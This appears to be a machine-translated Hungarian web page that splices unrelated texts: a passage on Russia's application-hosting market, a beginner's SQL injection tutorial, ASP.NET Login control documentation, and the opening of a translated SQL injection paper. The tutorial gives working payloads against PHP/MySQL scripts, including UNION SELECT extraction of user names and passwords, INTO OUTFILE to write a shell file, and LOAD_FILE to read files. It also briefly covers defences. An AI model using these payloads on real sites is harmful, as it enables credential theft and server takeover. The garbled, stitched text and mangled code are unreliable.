Menü
Ingyenes
bejegyzés
itthon  /  Telepítés és konfiguráció/ Alapvető sql injekció SQL alkalmazásokban. Útmutató bábuk számára

Alapvető sql injekció SQL alkalmazásokban. Útmutató bábuk számára

Jelenleg nem vitatható, hogy teljes értékű ASP-piac alakult ki Oroszországban. Az orosz felhasználók többsége még mindig nem tartja hasznosnak az ASP-koncepciót vállalkozása számára. Jelenleg (a cikk készítésekor) a orosz piac nincs egyetlen sikeres példa a teljes körű ASP megvalósításra egy nagyvállalatnál. Valójában csak tárhely van, az ASP-modell külön implementált elemei, ASP-üzletet folytatni kívánó cégek stb. Vagyis a klasszikus ASP-modell Oroszországban még nincs implementálva.

Az orosz piacon jelenleg az ASP-modell csak személyre szabott levelezési szolgáltatásokra (Mail.ru, Beep.ru, Freemail.ru stb.) és speciális high-tech szolgáltatásokra (például szalaghirdetésekre és keresőmotorokra, Internetre) alkalmazható. statisztikai rendszerek stb.) ... Ugyanakkor a postai szolgáltatások bérbeadása nem csupán egy személyes postafiók biztosítását jelenti minden egyes felhasználó számára. Díjmentes levelezőszerverek széles körben használják a vállalati szektorban a kisvállalkozások és az egyéni vállalkozók körében. Az ilyen szolgáltatások fő ügyfelei azok a cégek, amelyek vállalati levelezési szolgáltatást szeretnének szervezni (vagy automatizálni a vállalati dokumentumfolyamatot), vagy olyan internetszolgáltatók (például Rambler.ru, Yandex.ru stb. portálok), amelyek ingyenes webes levelezést kívánnak szervezni. szolgáltatást közönségük számára.

Az orosz felhasználók bizonyos érdeklődést mutatnak az elektronikus üzletek (elektronikus kereskedési platformon lévő kirakatok) bérbeadása iránt. És ez érthető. Mivel Oroszországban még mindig nagyon-nagyon kevés sikeres példa van az online kereskedésre (annak ellenére, hogy számos cég hangosan kijelentette lenyűgöző eredményeiket), a legésszerűbbnek tűnik egy nagyságrenddel kevesebb pénzt költeni egy elektronikus bolt bérlésére (mint megvásárlása és karbantartása). A projekt meghiúsulása esetén kellően gyorsan és jelentős veszteségek nélkül zárható. Az ERP-alkalmazások nyugaton elterjedt bérbeadása Oroszországban jelenleg még csak kísérleti projektek stádiumában van.

A bérelhető alkalmazások közül kiemelhetők a viszonylag egyszerű irodai csomagok (például MS Office) és az összetettebb alkalmazások (például Lotus Smart Suite), valamint az ERP-rendszerek (például a Navision Axapta).

Az orosz ASP piac fő problémái és jellemzői.

10.2 Problémák az orosz piacon.

Jelenleg az orosz ASP-piac legalább néhány évvel le van maradva a globális ASP-piac mögött. Az orosz ASP piac kezdetleges állapotát számos meglévő probléma okozza. A főbb problémák a következők:

1. Az orosz gazdaság általános lemaradása a nyugatitól és a vállalkozások műszaki infrastruktúrájának fejletlensége. Eddig a legtöbb orosz vállalkozás az évtizedekkel ezelőtt létrehozott műszaki infrastruktúrán működik. A vállalkozások korszerűsítésére irányuló beruházásai jelenleg még nem elegendőek. És itt a probléma inkább a vállalkozások pénzügyi prioritásai, hiszen nem mindegyik képes a szükséges forrásokat a műszaki infrastruktúra korszerűsítésére fordítani. Ezért a jelenlegi problémáikat a meglévő infrastruktúra rovására kell megoldaniuk.

2. Alacsony kereslet az ASP szolgáltatások iránt. A lakosság és a vállalati ügyfelek (többnyire) nem állnak készen az ASP-szolgáltatások fizetésére. Ha az átlagos orosz fogyasztó számára egyszerűen sürgetőbb és létfontosságú prioritások vannak a költekezésben, akkor a vállalati felhasználók még nem veszik komolyan az ASP-szolgáltatásokat.

3. Az elektronikus piac jogi keretének gyengesége. A teljes törvénycsomag elfogadásáig nem kell az elektronikus piac (beleértve az ASP-t is) fejlesztéséről beszélni.

4. Vállalati ügyfelek (különösen a legfizetőképesebb vállalkozások) pénzügyi beszámolóinak lezárása.

5) IT-ellenállás (explicit és implicit egyaránt) nagy cégek akiknek át kell orientálódniuk más feladatokra, csökkenteni a személyzeti és informatikai költségvetésüket stb.

6. Az orosz vállalkozások ASP modelljében használható kis számú alkalmazás.

7. Az orosz munkaerőpiacon kellően nagyszámú, viszonylag alacsony fizetésű, kezdő és középszintű informatikus jelenléte. Az 1998-as válság után az informatikusok fizetésének túlnyomó többsége a válság utáni szinten maradt. A kis- és középvállalkozásoknak esetenként olcsóbb saját IT-szolgáltatásaikat fenntartani, mint ASP-szolgáltatást fizetni (ellentétben a nyugati cégekkel, ahol a helyzet pont fordított).

Üdvözlet olvasó. Az utóbbi időben érdekelt a webbiztonság, és bizonyos mértékig a munkám is ehhez kapcsolódik. Mivel Egyre inkább észrevettem a témákat a különböző fórumokon, azzal a kéréssel, hogy mutassam be, hogyan működik mindez, úgy döntöttem, írok egy cikket. A cikk azoknak szól, akik még nem találkoztak hasonlóval, de szeretnének tanulni. Viszonylag sok cikk található az interneten erről a témáról, de a kezdők számára ezek kissé bonyolultak. Megpróbálok mindent világos nyelven és részletes példákkal leírni.

Előszó

Ennek a cikknek a megértéséhez nem igazán kell az SQL nyelv ismerete, de legalább jó türelem és egy kis agy a memorizáláshoz.

Úgy gondolom, hogy a cikk egyetlen elolvasása nem lesz elég, mert szükségünk van élő példákra - mint tudod, a gyakorlat, a memorizálás során, soha nem felesleges. Ezért sebezhető szkripteket fogunk írni és oktatni fogunk rájuk.

Mi az SQL Injection?
Egyszerűen fogalmazva, ez egy támadás az adatbázis ellen, amely lehetővé teszi olyan műveletek végrehajtását, amelyeket a szkript készítője nem tervezett. Példa az életből:

Apa egy cetlit írt anyának, hogy adjon Vasyának 100 rubelt, és tegye le az asztalra. Ha ezt újrahasznosítjuk egy vicc SQL nyelvbe, a következőt kapjuk:
ELTÁVOLÍTSA EL 100 RUBEL A pénztárcából, ÉS ADJA VASJÁNAK

Mivel az apa rosszul írta a cetlit (görcsös kézírás), és az asztalon hagyta, Vasja testvére, Petya látta. Petya hacker lévén hozzátette az „OR Petya”-t és a következő kérés jött ki:
Szerezzen 100 RUBLT a pénztárcából, ÉS ADJA VASJÁNAK VAGY Petyának

Anya, miután elolvasta a feljegyzést, úgy döntött, hogy tegnap pénzt adott Vasyának, és 100 rubelt adott Pete-nek. Íme egy egyszerű példa SQL injekció az életből :) Az adatok szűrése nélkül (anya alig tudta kivenni a kézírást) Petya profitot termelt.

Készítmény
Gyakorlathoz szüksége lesz egy archívumra a cikk forrásszkriptjeivel. Töltse le és csomagolja ki a szerveren. Importálja az adatbázist is, és állítsa be az adatokat a fájlban cfg.php

SQL injekciós keresés

Mint már megértette, az injekció a bejövő adatokból jelenik meg, amelyeket nem szűrünk. A leggyakoribb hiba az, hogy nem szűrjük ki az átadott azonosítót. Nos, durván szólva, helyettesítő idézőjelek minden mezőben. Legyen szó GET / POST kérésről vagy akár Cookie-ról!

Numerikus bemeneti paraméter
A gyakorlathoz szükségünk van egy forgatókönyvre index1.php... Ahogy fentebb mondtam, a hírazonosítóban idézőjeleket helyettesítünk.

Mivel kérésünkben nincs szűrés:

$ id = $ _GET ["id"]; $ query = "SELECT * FROM news WHERE id = $ id";

A forgatókönyv ezt így fogja érteni

SELECT * FROM news WHERE id = 1 "

És hibát fog jelezni:
Figyelmeztetés: a mysql_fetch_array () azt várja, hogy az 1. paraméter erőforrás legyen, logikai értéke a C: \ WebServ \ domains \ sqlinj \ index1.php 16. sorban van megadva

Ha a hiba nem jelenik meg, annak a következő okai lehetnek:

1. SQL injekció nincs itt - Az idézetek ki vannak szűrve, vagy csak érdemes konvertálni rá (int)
2. Letiltott hibakimenet.

Ha továbbra is hibaüzenetet kap - Hurrá! Megtaláltuk az első típusú SQL-injektálást - Numerikus bemeneti paraméter.

String bemeneti paraméter

A kéréseket a címre küldjük index2.php... V ez a fájl, a kérés így néz ki:
$ felhasználó = $ _GET ["felhasználó"]; $ query = "SELECT * FROM news WHERE user =" $ user "";

Itt felhasználónév alapján választjuk ki a híreket, és ismét nem szűrünk.
Ismételten küldünk egy kérést árajánlattal:

Hibát dobott. RENDBEN! Tehát van egy sebezhetőség. Kezdetnek nekünk ennyi is elég – kezdjük a gyakorlást.

Elkezdeni

Egy kis elmélet

Valószínűleg alig várja, hogy ebből valamit kihozzon, kivéve a hibákat. Először is értse meg, hogy a " -- " megjegyzésnek minősül az SQL-ben.

FIGYELEM! Előtte és utána szóköznek kell lennie. Az URL-ben a következőként adják át őket %20

Minden, ami a megjegyzés után következik, el lesz vetve. Vagyis a kérés:
SELECT * FROM news WHERE user = "AlexanderPHP" - habrahabra

Sikerülni fog. Ezt az index2.php szkriptben próbálhatja ki az alábbi kérés elküldésével:

Sqlinj / index2.php? Felhasználó = AlexanderPHP "% 20 -% 20habrahabr

Tanuld meg a paramétert UNIÓ... SQL nyelven kulcsszó UNIÓ két SQL-lekérdezés eredményeinek egyetlen táblába való egyesítésére szolgál. Vagyis ahhoz, hogy egy másik asztalról kihúzhassunk valamit, amire szükségünk van.

hasznot húzva belőle

Ha a paraméter "Numerikus", akkor a kérésben nem kell árajánlatot küldenünk, és természetesen megjegyzést kell tennünk a végére. Térjünk vissza a forgatókönyvhöz index1.php.

Nézzük meg az sqlinj / index1.php szkriptet?Id = 1 UNION SELECT 1. Így kapunk egy lekérdezést az adatbázishoz:
SELECT * FROM news WHERE id = 1 UNION SELECT 1
És hibát adott nekünk, mert a lekérdezések összesítéséhez ugyanannyi mezőre van szükségünk.

Mivel az első kérésben nem tudjuk befolyásolni a számukat, akkor a másodikban úgy kell kiválasztanunk a számukat, hogy az egyenlő legyen az elsővel.

A mezők számának kiválasztása

A mezők kiválasztása nagyon egyszerű, csak küldje el a következő kéréseket:
sqlinj / index1.php? id = 1 UNION SELECT 1,2
Hiba…
sqlinj / index1.php? id = 1 UNION SELECT 1,2,3
Ismét hiba!
sqlinj / index1.php? id = 1 UNION SELECT 1,2,3,4,5
Nincs hiba! Tehát az oszlopok száma 5.

CSOPORTOSÍT
Gyakran előfordul, hogy 20, 40 vagy akár 60 mező is lehet, hogy ne ismételjük át őket minden alkalommal, használjuk CSOPORTOSÍT

Ha a kérés
sqlinj / index1.php? id = 1 GROUP BY 2
nem adott hibát, így a mezők száma több mint 2. Próbálkozzon:

Sqlinj / index1.php? Id = 1 GROUP BY 8
Hoppá, hibát látunk, ezért a mezők száma kevesebb, mint 8.

Ha nincs hiba a GROUP BY 4-nél, és hiba a GROUP BY 6-nál, akkor a mezők száma 5

A megjelenítendő oszlopok meghatározása
Ahhoz, hogy az első kéréstől kezdve semmi ne jelenjen meg számunkra, elegendő egy nem létező azonosítót helyettesíteni, például:

Sqlinj / index1.php? Id = -1 UNION SELECT 1,2,3,4,5


Ezzel a művelettel meghatároztuk, hogy mely oszlopok jelenjenek meg az oldalon. Most, hogy ezeket a számokat lecserélje a szükséges információkra, folytatnia kell a kérést.

Adatkimenet

Tegyük fel, hogy tudjuk, hogy a táblázat még létezik felhasználókat mely területeken léteznek id, névés pass.
Információt kell szereznünk a felhasználóról, akinek ID = 1

Ezért készítsünk egy ilyen lekérdezést:

Sqlinj / index1.php? Id = -1 UNION SELECT 1,2,3,4,5 FROM felhasználóktól WHERE id = 1
A szkript is tovább megy

Ehhez az 1-es és 3-as számok helyére a mezők nevét helyettesítjük

Sqlinj / index1.php? Id = -1 UNION SELECT név, 2, pass, 4,5 FROM felhasználók WHERE id = 1
Megkaptuk amit kellett!

A "string bemeneti paraméterhez", mint a szkriptben index2.php az elejére idézőjelet, a végére pedig megjegyzésjelet kell tenni. Példa:
sqlinj / index2.php? user = -1 "UNION SELECT név, 2, pass, 4,5 FROM felhasználók WHERE id = 1 -% 20

Fájlok olvasása / írása

Fájlok olvasásához és írásához az adatbázis-felhasználónak rendelkeznie kell a FILE_PRIV jogokkal.
Fájl rögzítése
Valójában minden nagyon egyszerű. Fájl írásához a függvényt fogjuk használni OUTFILE.
sqlinj / index2.php? user = -1 "UNION SELECT 1,2,3,4,5 INTO OUTFILE" 1.php "-% 20
Remek, a fájlt regisztráltuk nálunk. Így kitölthetjük a mini shellt:
sqlinj / index2.php? user = -1 "UNION SELECT 1,"", 3,4,5 OUTFILE" 1.php "-% 20
Fájlok olvasása
A fájlok olvasása még egyszerűbb, mint az írás. A funkció használata elég egyszerű LOAD_FILE, az általunk választott mező helyére:

Sqlinj / index2.php? User = -1 "UNION SELECT 1, LOAD_FILE (" 1.php "), 3,4,5 -% 20

Így elolvastuk az előző rögzített fájlt.

Védelmi módszerek

Még könnyebb védekezni, mint kihasználni a sebezhetőséget. Csak szűrje le az adatokat. Ha számokat ad át, használja
$ id = (int) $ _GET ["id"];
A malroc felhasználó javaslata szerint. Védett OEM vagy előkészített nyilatkozatok használatával.

A befejezés helyett

Itt szeretném befejezni az első részt a következőről: SQL injekció kezdőknek". A másodikban a nehezebb befecskendezési példákat nézzük meg. Próbáljon meg sebezhető szkripteket írni, és saját maga hajtson végre lekérdezéseket.
És ne feledje, ne bízzon webhelye egyetlen felhasználójában sem.

Címkék: Címkék hozzáadása

Bejelentkezési vezérlés

A Bejelentkezés vezérlővel egyszerűen létrehozhat egy bejelentkezési oldalt az űrlapok hitelesítéséhez a tagsági API-val együtt. Használatra kész állapotot biztosít felhasználói felület amely kéri a felhasználónevet és a jelszót, valamint egy gombot a felhasználó bejelentkezéséhez. A színfalak mögött olyan funkciókat foglal magában, amelyeket egy korábbi cikkben leírtunk: a felhasználói identitások érvényesítését a Membership API-n keresztül, valamint az alapvető űrlapon alapuló hitelesítési funkciókat, például az eredetileg kért oldalra való átirányítást egy biztonságos alkalmazási területen sikeres bejelentkezés után.

Ez azt jelenti, hogy a Bejelentkezés olyan dolgokat tartalmaz, mint a Membership.ValidateUser () vagy a FormsAuthentication.RedirectFromLoginPage (), így nem kell magának megírnia ezt a kódot. Az alábbi ábra a bejelentkezési vezérlőt mutatja működés közben:

Amikor a felhasználó a Bejelentkezés gombra kattint, a vezérlő automatikusan érvényesíti a felhasználónevet és a jelszót a Membership.ValidateUser () függvény segítségével, majd meghívja a FormsAuthenication.RedirectFromLoginPage () oldalt, ha az ellenőrzés sikeres. A Bejelentkezés vezérlő összes beállítása befolyásolja a bemenetet, amelyet ezekhez a metódusokhoz szállít. Ha például bejelöli az Emlékezz rám legközelebb jelölőnégyzetet, akkor a RedirectFromLoginPage () metódus createPersistentCookie paraméterében igaz lesz. Ezért a FormsAuthenticationModule állandó cookie-t hoz létre.

A Behind the Scenes Login egy ASP.NET összetett vezérlőelem található. Teljesen bővíthető - abban az értelemben, hogy lehetővé teszi az elrendezési stílusok és tulajdonságok felülbírálását, valamint a generált események elfogását, hogy felülbírálja az alapértelmezett viselkedést. Ha változatlanul hagyja a vezérlőt, és nem fog semmilyen eseményt, akkor automatikusan az alkalmazáshoz konfigurált tagsági szolgáltatót fogja használni.

A bejelentkezési vezérlő legegyszerűbb formája egy oldalon így néz ki:

Számos tulajdonság áll rendelkezésre a bejelentkezési vezérlő megjelenésének megváltoztatásához. Különféle stílusbeállításokat alkalmazhat az alábbiak szerint:

Ezenkívül CSS-osztályokat is használhat a Bejelentkezés megjelenésének testreszabásához. A Bejelentkezés vezérlő által támogatott minden stílustulajdonság tartalmaz egy CssClass tulajdonságot. Mint minden ASP.NET-vezérlő esetében, ez a tulajdonság lehetővé teszi a webhelyhez korábban hozzáadott CSS-osztály nevének megadását. Tegyük fel, hogy hozzáadta a következő CSS-stíluslapot a projektjéhez MyStyles.css fájlnévvel:

MyLoginTextBoxStyle (kurzor: mutató; háttérszín: sárga; szövegigazítás: középen; kitöltés: 6 képpont; szegély: pontozott fekete; betűcsalád: Verdana; függőleges igazítás: középen;) .Bejelentkezés (megjelenítés: inline-block;) .Title (kitöltés: 6px;)

Ez a stílusfájl szerepelhet a bejelentkezési oldalon, hogy a Bejelentkezés elem stílusát módosíthassa:

A következő táblázat felsorolja a bejelentkezési vezérlő által támogatott stílusokat. Mindegyik stílus ugyanúgy működik. A betűtípus- és színtulajdonságok közvetlenül beállíthatók, vagy a CssClass tulajdonság segítségével megadhatja a kívánt CSS-osztályt:

A bejelentkezési vezérlő által támogatott stílusok
Stílus Leírás
CheckBoxStyle

Meghatározza az Emlékezzen rám legközelebb jelölőnégyzet stílustulajdonságait

FailureStyle

Meghatározza a sikertelen bejelentkezés esetén megjelenő szöveg stílusát

HyperLinkStyle

A Bejelentkezés vezérlővel többféle hiperhivatkozás definiálható, például a kezdeti regisztrációs oldalra. Ez a stílus határozza meg az ilyen hiperhivatkozások megjelenését.

InstructionTextStyle

A Bejelentkezés vezérlő lehetővé teszi, hogy megadja a súgószöveget, amelyet közvetlenül magában kell megjeleníteni. Ez a stílus határozza meg a szöveg megjelenését.

LabelStyle

Meghatározza a Felhasználónév és Jelszó címkék stílusát

LoginButtonStyle

Meghatározza a bejelentkezési gomb stílusát

TextBoxStyle

Megadja a Felhasználónév és Jelszó szövegmezők stílusát

TitleTextStyle

Meghatározza a bejelentkezési vezérlő címszövegének stílusát

ValidatorTextStyle

Stílusokat határoz meg a felhasználónév és jelszó ellenőrzésére használt vezérlőelemekhez

A Login elem felhasználói felülete nem csak ezeken a stílusokon keresztül testreszabható; egyéb további tulajdonságok a vezérlő tartalmának bizonyos részeit célozzák meg, mint például a Bejelentkezés gomb, amelyek szintén lehetővé teszik a grafikus felület testreszabását.

Például kiválaszthatja a bejelentkezési gombon megjelenő szöveget, vagy akár egy hiperhivatkozást is megjeleníthet e gomb helyett (alapértelmezés szerint). Ezenkívül több hiperhivatkozást is hozzáadhat a Bejelentkezés vezérlőhöz, például egy hivatkozást egy súgóoldalra vagy egy regisztrációs oldalra. Mindkét oldalnak nyitva kell lennie a névtelen hozzáférés számára, mert segítséget kell nyújtani az anonim felhasználóknak is (ne feledje, hogy ha valaki látja a Bejelentkezés vezérlőt, az potenciálisan névtelen felhasználó). Ha további hivatkozásokat szeretne beépíteni a Bejelentkezésbe, módosítsa a korábban bemutatott definíciót az alábbiak szerint:

...

Ez a kód két további hivatkozást jelenít meg, egyet a súgóoldalra, egyet pedig a kezdeti regisztrációs oldalra, és egy rövid utasítást ad hozzá a Bejelentkezés elem fejlécéhez:

A korábban leírt stílusok ezekre a tulajdonságokra is érvényesek. Az alábbi táblázat leírja a bejelentkezési vezérlő testreszabásának fontos tulajdonságait:

Fontos tulajdonságok a bejelentkezési vezérlő testreszabásához
Ingatlan Leírás
Üzenet szövege
TitleText

A vezérlőelem címében megjelenő szöveg

InstructionText

Ezt a tulajdonságot már használták az előző kódrészletben. A vezérlőelem címe alatt megjelenő szöveget tartalmazza

FailureText

A bejelentkezési vezérlő által megjelenített szöveg, ha a bejelentkezési kísérlet sikertelen

UserNameLabelText

A szöveg címkeként jelenik meg a felhasználónév szövegmezője előtt

PasswordLabelText

Címkeként megjelenő szöveg a felhasználó jelszava szövegmezője előtt

Felhasználónév

A kezdeti érték, amely kitölti a felhasználónév szövegmezőt

UsernameRequiredErrorMessage

Hibaüzenet jelenik meg, ha a felhasználó nem adott meg nevet

PasswordRequiredErrorMessage

Hibaüzenet jelenik meg, ha a felhasználó nem adott meg jelszót

Bejelentkezés gomb
LoginButtonText

A bejelentkezés gombon megjelenő szöveg

LoginButtonType
LoginButtonImageUrl

Ha a bejelentkezési gomb grafikus képként jelenik meg, meg kell adnia azt az URL-t, ahol ez a kép található

Bejelentkezési oldal
DestinationPageUrl

Ha a bejelentkezési kísérlet sikeres, a Bejelentkezés vezérlő erre az oldalra irányítja át a felhasználót. Ez a tulajdonság alapértelmezés szerint üres. Az Empty a Forms Authentication Framework segítségével irányítja át az eredetileg kért oldalt vagy a web.config fájlban az űrlapok hitelesítéshez konfigurált alapértelmezett URL-re.

FailureAction

Meghatározza azt a műveletet, amelyet a vezérlő végrehajt egy sikertelen bejelentkezési kísérlet után. Két érvényes lehetőség a Refresh és RedirectToLoginPage. Az első érték csak az aktuális oldalt frissíti, míg a második a beállított bejelentkezési oldalra irányít át. A második lehetőség akkor hasznos, ha a Bejelentkezés vezérlőt máshol használja, mint a bejelentkezési oldalon

VisibleWhen LoggedIn

Ha hamisra van állítva, akkor a vezérlő automatikusan elrejti magát, ha a felhasználó már be van jelentkezve. Ha igaz (alapértelmezett), akkor a Bejelentkezés elem akkor is megjelenik, ha a felhasználó be van jelentkezve

Emlékezz rám címke konfigurálása
DisplayRememberMe

Megjeleníti vagy elrejti az Emlékezzen rám legközelebb jelölőnégyzetet. Alapértelmezés szerint ez a tulajdonság igaz értékre van állítva

RememberMeSet

Megadja az Emlékezzen rám legközelebb jelölőnégyzet alapértelmezett értékét. Alapértelmezés szerint ez a tulajdonság false értékre van állítva, azaz. a jelölőnégyzet nincs bejelölve

Regisztrációs oldal
CreateUserUrl

Hiperhivatkozást határoz meg egy webhely egy oldalára, amely lehetővé teszi felhasználó létrehozását (regisztrálását). Így általában arra használják, hogy a felhasználó hozzáférést biztosítson a kezdeti regisztrációs oldalhoz. Ez általában a CreateUserWizard vezérlőt jeleníti meg.

CreateUserText
CreateUserIconUrl

A CreateUserUrl hiperhivatkozás szövegével együtt megjelenített grafikus kép URL-je

Súgó oldal
HelpPageUrl

URL, amely a felhasználót a súgóoldalra irányítja

HelpPageText
HelpPageIconUrl

A HelpPageUrl hiperhivatkozás szövegével együtt megjelenő ikon URL-je

Jelszó-helyreállítási oldal
PasswordRecoveryUrl

URL, amely a felhasználót a jelszó-helyreállítási oldalra irányítja át. Ez az oldal akkor érvényes, ha a felhasználó elfelejtette jelszavát. Általában egy PasswordRecovery vezérlőt jelenít meg

PasswordRecoveryText
PasswordRecoveryIconUrl

A PasswordRecoveryUrl hiperhivatkozás szövegével együtt megjelenő ikon URL-je

Bejelentkezési sablonok és vezérlés

Amint láthatja, ezek a tulajdonságok nagyon rugalmassá teszik a bejelentkezési vezérlőt. De ahogy valószínűleg észrevette, lehetetlen bármilyen kifejezést meghatározni a bemenet érvényesítésére. Természetesen lehetőség van szerveroldali érvényesítés megvalósítására a Bejelentkezés vezérlő által kínált eseményeljárásokon belül. Ha hozzá kell adni néhány elemet a Bejelentkezés összetett vezérlőhöz, ez nem tehető meg a fent bemutatott tulajdonságokon keresztül. Például mi van akkor, ha szüksége van egy második szövegdobozra az erős hitelesítéshez második jelszóval vagy egyéni jelszóval, ahogy azt egyes kormányzati webhelyek teszik?

Szerencsére a többi vezérlőhöz, például a GridView-hoz hasonlóan a Bejelentkezés vezérlő is támogatja a sablonokat. A sablonok segítségével korlátozás nélkül testreszabhatja a Bejelentkezés vezérlő tartalmát. Bármilyen új vezérlőelem hozzáadható hozzá. Egyéni sablont alkalmaz a bejelentkezési vezérlőhöz egy fogantyú segítségével Layout Template:

Bejelentkezés

Felhasználónév:
Jelszó:


A fenti kódot nézve egy kérdés merül fel: ha egy sablon beállításakor ennyi felhasználói felület kódot kell írni (vagy vizuális tervezőben kell megtervezni), akkor miért ne írhatna saját bejelentkezési oldalt a Bejelentkezés vezérlő használata nélkül?

Ez a helyes kérdés. Azonban, amint azt korábban kifejtettük, a frontend csak egy része a Login elemnek. Például abban az esetben, ha a felhasználó rákattint a bejelentkezés gombra, a bejelentkezési vezérlő már rendelkezik minden szükséges kóddal ahhoz, hogy automatikusan érvényesítse a felhasználót a tagsági tárolóval szemben, és átirányítsa az eredetileg kért oldalra az űrlapok hitelesítési keretrendszerén keresztül. Így biztosan meg van mentve attól, hogy meg kelljen írnia ezt a kódot.

A megfelelő vezérlőkkel és a megfelelő azonosító értékekkel ezekhez a vezérlőkhöz nem kell eseménykezelő kódot írnia. A kód a szokásos módon működik, kivéve, hogy meghatározza a vezérlőket és azok elrendezését. Valójában a Bejelentkezés vezérlőhöz legalább két szövegmezőre van szükség, a Felhasználónévre és a Jelszóra. Ha ez a két szövegmező hiányzik (vagy eltérő azonosítóértékekkel rendelkezik), akkor a Login kivételt dob. Az összes többi vezérlő nem kötelező, de ha megfelelő azonosító értéket ad meg (például Bejelentkezés a bejelentkezéshez gomb), akkor a Bejelentkezés automatikusan kezeli az eseményeket, és úgy viselkedik, mintha az alapértelmezett elrendezést alkalmaznák.

Az alábbi táblázat felsorolja az azonosítók speciális értékeit, a hozzájuk szükséges elemtípusokat és a kötelező jelzőt:

A bejelentkezési azonosítóval rendelkező vezérlő bármi lehet, amely támogatja a buborékok terjedését és a CommandName tulajdonságot. Fontos ennek az elemnek a CommandName tulajdonságát Login értékre állítani, mivel ellenkező esetben a bejelentkezési vezérlő nem ismeri fel az eseménykezelés során. Ha nem ad hozzá olyan vezérlőt, amelynek CommandName tulajdonsága bejelentkezésre van állítva, akkor magának kell kezelnie az eseményeket, és meg kell írnia a megfelelő kódot a felhasználónév és jelszó érvényesítéséhez, valamint az eredeti kért oldalra való átirányításhoz.

Olyan vezérlőket is hozzáadhat más azonosítókkal, amelyeknek semmi közük a Bejelentkezéshez. A fenti kód a RequiredFieldValidator és RegularExpressionValidator elemeket használta a felhasználónév és jelszó mezők érvényesítéséhez.

A LayoutTemplate használatakor a vezérlő számos natív tulajdonsága már nem érhető el. Sablon alkalmazásakor csak a következő tulajdonságok maradnak elérhetők:

    DestinationPageUrl

    VisibleWhen LoggedIn

  • Tagságszolgáltató

Az összes stílustulajdonság és néhány tulajdonság az elemek szövegtartalmának alapértelmezés szerinti testreszabásához már nem érhető el a Visual Studio tulajdonságszerkesztőben, mert manuálisan hozzáadhatók külön vezérlőelemekként vagy statikus szövegként a Bejelentkezési elemsablonhoz. Ha sablon módban hozzáadja őket a Login elemhez, akkor egyszerűen figyelmen kívül hagyja őket, mert a sablon felülírja a Login elem alapértelmezett felületét, amely kihasználja ezeket a tulajdonságokat.

Bejelentkezés vezérlő programozás

A Bejelentkezés vezérlő számos eseményt és tulajdonságot támogat, amelyek segítségével testreszabhatja a viselkedését. Teljes ellenőrzést biztosítanak a bejelentkezési vezérlő finomhangolása felett (egyéb testreszabási eszközökkel, például sablonokkal és stílustulajdonságokkal együtt). A Bejelentkezés vezérlő támogatja az alábbi táblázatban felsorolt ​​eseményeket:

Bejelentkezés ellenőrzési események
Esemény Leírás
Bejelentkezés

Közvetlenül a vezérlő általi felhasználói hitelesítés előtt kezdeményezett

Bejelentkezve

Azután aktiválódik, hogy a felhasználót a vezérlő hitelesítette

Bejelentkezési hiba

Akkor aktiválódik, amikor a felhasználó valamilyen okból (például helytelen jelszó vagy felhasználónév) nem jelentkezik be.

Hitelesítés

Felhasználó hitelesítéshez aktiválva. Ha Ön kezeli ezt az eseményt, magának kell hitelesítenie a felhasználót, és a bejelentkezési vezérlő teljes mértékben az Ön hitelesítési kódjára támaszkodik.

Az első három esemény kezelhető bizonyos műveletek végrehajtására a felhasználói hitelesítés előtt, a hitelesítés után, valamint a hitelesítés során fellépő hiba esetén. Például a LoginError esemény felhasználható arra, hogy bizonyos számú bejelentkezési kísérlet után automatikusan átirányítsa a felhasználót a jelszó-helyreállítási oldalra, az alábbiak szerint:

Protected void Page_Load (objektum küldője, EventArgs e) (if (! This.IsPostBack) ViewState ["LoginErrors"] = 0;) protected void Login1_LoginError (objektum küldője, EventArgs e) (// Ha a LoginErrors állapot nem létezik, hozzon létre it if (ViewState ["LoginErrors"] == null) ViewState ["LoginErrors"] = 0; // A sikertelen bejelentkezési kísérletek számlálójának növelése int ErrorCount = (int) ViewState ["LoginErrors"] + 1; ViewState ["LoginErrors" "] = ErrorCount ; // Ellenőrizze a sikertelen próbálkozások számát, ha ((ErrorCount> 3) && (Login1.PasswordRecoveryUrl! = String.Empty)) Response.Redirect (Login1.PasswordRecoveryUrl);)

A Bejelentkezés vezérlő az alábbi ábrán látható sorrendben generálja az eseményeket:

Ahogy korábban említettük, ha elkapja az Authenticate eseményt, meg kell adnia saját felhasználónevét és jelszavát ellenőrző kódot. Ingatlan Hitelesítés karbantartja az AuthenticateEventArgs paraméterlista egy példányát. Ez az esemény argumentum osztály egy Authenticated nevű tulajdonságot támogat. Ha igazra van állítva, a bejelentkezési vezérlő feltételezi, hogy a hitelesítés sikeres volt, és felveti a LoggedIn eseményt. Ha ezt a tulajdonságot false értékre állítja, megjelenik a FailureText, és megjelenik a LoginError esemény:

Protected void Login1_Authenticate (objektum küldője, AuthenticateEventArgs e) (if (Membership.ValidateUser (Login1.UserName, Login1.Password)) (e.Authenticated = true;) else (e.Authenticated = false;))

Amint látja, közvetlen hozzáférés van a beírt értékekhez a Felhasználónév és Jelszó tulajdonságokon keresztül, amelyek a megfelelő szövegmezőkbe beírt szöveget tartalmazzák. Ha sablonos vezérlőket használ, és értéket szeretne lekérni egy másik vezérlőtől, a felhasználónév és jelszó mellett használhatja a FindControl () metódust is, hogy megszerezze ezt a kiegészítő vezérlőt. Ez a metódus felveszi a kívánt elem azonosítóját, és visszaadja a System.Web.UI.Control példányát. Az eredményül kapott objektumot ezután egyszerűen a kívánt vezérlő típusára öntjük, és a rendszer beolvassa az egyéni hitelesítési módszer által a felhasználó számára megkövetelt értéket.

Ez a munka Chris Anley Advanced SQL Injection In SQL Server Applications című művének egy részének fordítása. ()
A következő cikkekben, a rendelkezésre álló szabadidő függvényében, ez a fordítás elkészül.

P.S. A fordítás érdekesebb lesz oktatási és történelmi célokra.

Az eredeti cikk címe: Advanced SQL Injection in SQL Applications.

annotáció

Ez a cikk a jól ismert Microsoft Internet Information Server / Active Server Pages / SQL Server platform általános "SQL-befecskendezési" módszereit részletezi. Megtárgyalja az SQL injekció különféle felhasználásait az alkalmazásokban, és elmagyarázza az adatok érvényesítésének és az adatbázisok biztonságossá tételének módszereit, ahol az injekció használható.

Bevezetés

